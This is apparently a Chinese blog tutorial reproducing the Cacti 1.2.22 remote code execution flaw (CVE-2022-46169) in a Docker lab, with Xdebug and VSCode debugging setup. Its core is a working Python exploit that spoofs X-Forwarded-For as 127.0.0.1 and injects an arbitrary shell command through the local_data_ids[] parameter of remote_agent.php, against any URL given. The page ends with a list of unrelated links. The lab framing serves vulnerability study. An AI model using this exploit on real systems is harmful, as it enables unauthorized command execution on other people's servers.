当前位置: 首页 > news >正文

Cacti RCE漏洞复现

一、环境准备
1. 创建Docker容器
首先,我们需要一个包含PHP 7.4和Cacti的Docker环境:

docker run -it --name cacti_vuln -p 80:80 -p 443:443 php:7.4-apache bash

2. 安装Xdebug

pecl install xdebug-3.1.6
docker-php-ext-enable xdebug

3. 配置Xdebug
编辑 /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini:

zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_port=9003
xdebug.client_host=host.docker.internal
xdebug.log=/tmp/xdebug.log

4. 安装Cacti

apt update && apt install -y wget unzip
wget https://www.cacti.net/downloads/cacti-1.2.22.zip
unzip cacti-1.2.22.zip -d /var/www/html/
chown -R www-data:www-data /var/www/html/cacti-1.2.22

5. 重启容器

exit
docker restart cacti_vuln

二、漏洞复现
1. 漏洞背景
Cacti 1.2.22及之前版本存在一个远程代码执行漏洞(CVE-2022-46169),攻击者可以通过精心构造的HTTP请求在服务器上执行任意命令。

2. 漏洞利用步骤
1、访问Cacti安装页面完成安装

2、使用以下Python脚本进行漏洞利用:

import requests
import sys
import urllib3
urllib3.disable_warnings()def exploit(url, cmd):headers = {"X-Forwarded-For": "127.0.0.1"}payload = f";{cmd}"params = {"action": "polldata","poller_id": "1","host_id": "1","local_data_ids[]": payload}try:r = requests.get(f"{url}/remote_agent.php", params=params, headers=headers, verify=False)print(r.text)except Exception as e:print(f"Error: {e}")if __name__ == "__main__":if len(sys.argv) != 3:print(f"Usage: {sys.argv[0]} <target_url> <command>")sys.exit(1)exploit(sys.argv[1], sys.argv[2])

3、执行命令示例:

python exploit.py http://localhost/cacti-1.2.22 "whoami"

三、VSCode调试配置
1. 安装PHP Debug扩展
在VSCode中安装PHP Debug扩展。

2. 配置launch.json

{"version": "0.2.0","configurations": [{"name": "Listen for Xdebug","type": "php","request": "launch","port": 9003,"pathMappings": {"/var/www/html": "${workspaceFolder}"},"log": true}]
}

在remote_agent.php中设置断点

 

 

 

 

 

 

 

 

http://www.lryc.cn/news/603063.html

相关文章:

  • 四、计算机组成原理——第1章:计算机系统概述
  • 可扩展架构模式——微服务架构最佳实践应该如何去做(方法篇)
  • 《汇编语言:基于X86处理器》第10章 结构和宏(2)
  • linux命令grep的实际应用
  • 在虚拟机ubuntu上修改framebuffer桌面不能显示图像
  • 1.vue体验
  • Android 媒体播放开发完全指南
  • Ansible提权sudo后执行报错
  • 电脑开机不显示网卡的原因
  • selenium 特殊场景处理
  • 刘润探展科大讯飞WAIC,讯飞医疗AI该咋看?
  • CSP-J 2022_第三题逻辑表达式
  • 技术工具箱 |五、一个避免头文件重复引用的 Python 脚本
  • 嵌入式Linux:注册线程清理处理函数
  • Zynq SOC FPGA嵌入式裸机设计和开发教程自学笔记:硬件编程原理、基于SDK库函数编程、软件固化
  • 第五章:进入Redis的Hash核心
  • 设计模式实战:自定义SpringIOC(亲手实践)
  • 深度研究——OpenAI Researcher Agent(使用OpenAI Agents SDK)
  • EAP(基于事件的异步编程模式)
  • 如何解决pip安装报错ModuleNotFoundError: No module named ‘papermill’问题
  • 时间数字转换器TDC的FPGA方案及核心代码
  • 将 NI Ettus USRP X410 的文件系统恢复出厂设置
  • C#:基于 EF Core Expression 的高性能动态查询构建实战 —— 面向大数据量环境的查询优化方案(全是干货,建议收藏)
  • Day22-二叉树的迭代遍历
  • 代码随想录Day32:动态规划(斐波那契数、爬楼梯、使用最小花费爬楼梯)
  • 10:00开始面试,10:06就出来了,问的问题有点变态。。。
  • Jmeter 性能测试监控之ServerAgent
  • AT89C 系列单片机知识点总结
  • 基于VHDL的神经网络加速器设计实战
  • 基于亮数据 MCP 的 Trae 智能体,让规模化 Google 数据实时分析触手可及